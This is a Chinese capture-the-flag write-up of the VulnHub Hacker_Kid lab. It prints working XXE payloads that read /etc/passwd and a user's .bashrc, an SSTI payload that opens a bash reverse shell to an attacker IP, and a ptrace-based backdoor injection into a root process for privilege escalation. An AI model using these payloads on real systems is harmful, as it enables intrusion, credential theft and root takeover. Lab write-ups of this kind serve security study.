Hacker_Kid(SSTI注入&Capabilitie提权)

admin 2023年1月7日16:24:32评论19 views字数 3255阅读10分51秒阅读模式


0x01 主机发现

sudo arp-scan -l
Hacker_Kid(SSTI注入&Capabilitie提权)


0x02 端口扫描

sudo nmap -p- 10.0.2.10
Hacker_Kid(SSTI注入&Capabilitie提权)


0x03 服务识别

sudo nmap -p53,80,9999 -sV 10.0.2.10
Hacker_Kid(SSTI注入&Capabilitie提权)


可以看到53端口开放的服务是 domain,版本是BIND 9,这是DNS服务器,就是用来把域名解析到IP的。默认是开启53端口的TCP(用于同步记录)和UDP(用于解析域名)的,探测下UDP是否开启。

sudo nmap -p53 -sU 10.0.2.10
Hacker_Kid(SSTI注入&Capabilitie提权)


0x04 Web页面探测

访问开放的web服务

Hacker_Kid(SSTI注入&Capabilitie提权)


各个标签点击后并无响应请求,右键查看源代码看到有注释的信息。

Hacker_Kid(SSTI注入&Capabilitie提权)


提示我们用 GET 请求参数 page_no 去访问页面,但参数值范围不清楚,拿bp爆破下试试。

Hacker_Kid(SSTI注入&Capabilitie提权)


可以看到 page_no 为21时响应不同,访问试试。

Hacker_Kid(SSTI注入&Capabilitie提权)


页面下面多了一行红色小字,提示有子域名存在后门漏洞,例如 hackers.blackhat.local 。那就先添加下本地域名解析。

vi /etc/hosts#添加内容如下10.0.2.10 blackhat.local10.0.2.10 hackers.blackhat.local


0x05 DNS区域传输

访问 hackers.blackhat.local 试试

Hacker_Kid(SSTI注入&Capabilitie提权)


提示信息一直说 DIG me more。补充下,DIG工具是Linux上用于查询DNS解析记录的,而刚才服务识别也发现了 53 端口开放着 DNS 服务器,那就来 DIG 一下吧。

Hacker_Kid(SSTI注入&Capabilitie提权)


可以看到查询到了更多的域名解析记录,把相关子域名都加入hosts文件解析。

vi /etc/hosts#添加内容如下10.0.2.10       hackers.blackhat.local10.0.2.10       blackhat.local10.0.2.10       hackerkid.blackhat.local10.0.2.10       ns1.blackhat.local10.0.2.10       mail.blackhat.local10.0.2.10       hacker.blackhat.local.blackhat.local


前面扫描端口时开放了 80 和 9999 端口,那就对新增的这几个子域名逐个访问,发现了一个登录页,一个注册页,但显然不是同一个功能。

Hacker_Kid(SSTI注入&Capabilitie提权)
Hacker_Kid(SSTI注入&Capabilitie提权)


0x06 XXE注入攻击 & PHP封装器

现在我们啥没有,直接注册试试。发现响应信息有这么个特点,无论输入什么,都提示邮箱不合法,并把邮箱信息打印出来。而且数据传输格式是 xml。这就想起了 XXE 漏洞,猜测后台就是解析用户 xml 信息并打印邮箱信息

Hacker_Kid(SSTI注入&Capabilitie提权)


XXE 测试,注入点是邮箱信息

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]><root>  <email>&xxe;</email></root>
Hacker_Kid(SSTI注入&Capabilitie提权)


可以看到有个 saket 用户有 bash权限,那就尝试用 XXE 读取 saket 相关的文件。尝试读取默认的SSH公私钥文件(.ssh/authorized_keys),无果。多番尝试后读取了目录下的 .bashrc 文件,读取过程中需要 base64 编码将文件信息带出,可能是系统默认识别为执行代码,编码带出则为文本。

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM 'php://filter/convert.base64-encode/resource=/home/saket/.bashrc'>]><root>  <email>&xxe;</email></root>
Hacker_Kid(SSTI注入&Capabilitie提权)


0x07 SSTI模板注入

解码后的文件中有个账号密码,记得我们之前有个登录页面,尝试登录,失败!

Hacker_Kid(SSTI注入&Capabilitie提权)


观察了一下,这密码是 Saket!#$%@!! ,那对应的账号会不会是 saket 而不是 admin,成功登录!!!

Hacker_Kid(SSTI注入&Capabilitie提权)


看到登录后的页面通过获取 GET 传入的 name 参数,直接显示在页面上,会不会存在 SSTI 模板注入漏洞。现在各种开发语言如:JAVA(velocity 模板等)、PHP(Smarty 模板等)、Python(Tornado 模板等),都存在后端进行前端模板渲染,这期间如果没做过滤,就可能存在对应模板的任意表达式执行。


根据前面 nmap 服务识别可知,服务端用的是 Tornado 模板,先尝试用通用渲染方式探测是否存在漏洞

{{1+abcxyz}}${1+abcxyz}%3C%1+abcxyz%%3E[abcxyz]


看到报错,说明确实解析到了,存在漏洞

Hacker_Kid(SSTI注入&Capabilitie提权)


测试哪种形式的参数被解析

${7*7},{{7*7}}
Hacker_Kid(SSTI注入&Capabilitie提权)


可以看到第二种解析形式被成功解析,则注入表达式要在两重括号内。表达式的敏感字符默认会被过滤,需要对 { %,做URL编码,详细编码如下:

{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/10.0.2.4/4444 0>&1"')}}  #表达式内容作编码


把需要被表达式解析的{}、()、%、空格、''、""全部做 url 编码,相关参数的 . 符号就不用

%7b%25%20import%20os%20%25%7d%7b%7bos.system%28%27bash%20-c%20%22bash%20-i%20%3e%26 %2fdev%2ftcp%2f10.0.2.4%2f4444%200%3e%261%22%27%29%7d%7d


反弹 shell 拿到了 saket 账户的 shell,还需要一波提权。

Hacker_Kid(SSTI注入&Capabilitie提权)


0x08 Capabilitie提权

把寻常的提权方式试一遍:

  1. unam -a 内核提权

  2. 查看是否有 sudo 权限配置不当

  3. 是否有 suid、sgid 设置不当的文件


都没有找到,实在头大。秉着绝大多数提权都是权限相关的操作管理不当,继续找权限配置相关的操作,想到了 Capabilitie 这个 Linux 下的权限管理机制。


Capabilitie 是从Linux 内核2.2开始引入的,简单来说就是更细致的权限划分,比如 Wireshark 抓包,并非赋予整个程序抓取底包的权限,而是单独把抓取网络原始数据的能力赋予 Wireshark 进程。

setcap cap_net_raw,cap_net_admim=eip /usr/bin/dumpcap  #赋予 cap_net_raw、cap_net_admim能力#详细可参考:https://man7.org/linux/man-pages/man7/capabilities.7.html


秉着这个思路,查看当前是否有 Capabilitie 配置不当的权限。

/sbin/getcap -r / 2>/dev/null #递归查询
Hacker_Kid(SSTI注入&Capabilitie提权)


看到python2有cap_sys_ptrace+ep权限点,这个是一个调试程序相关的权限,这种涉及底层的权限大多是高权限,则可以利用 python2 的注入来实现提权。先查看以 root 运行的程序:

ps -U root  #随便选个 root 程序,这里选了apache服务,线程号801("hello world!");
Hacker_Kid(SSTI注入&Capabilitie提权)


注入脚本 inject.py,参考如下:

https://www.cnblogs.com/zlgxzswjy/p/15185591.html


执行注入脚本,会把后门注入到801这个服务中,然后默认开启5600服务,以供远程连接:

python2.7 inject.py 801   #注入后门
Hacker_Kid(SSTI注入&Capabilitie提权)


远程连接后门:

nc 10.0.2.10 5600  #远程连接
Hacker_Kid(SSTI注入&Capabilitie提权)


Hacker_Kid(SSTI注入&Capabilitie提权)


靶机地址:https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova


声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白名单。

请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与本公众号无关。


原文始发于微信公众号(白帽学子):Hacker_Kid(SSTI注入&Capabilitie提权)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月7日16:24:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Hacker_Kid(SSTI注入&Capabilitie提权)http://cn-sec.com/archives/1445165.html

发表评论

匿名网友 填写信息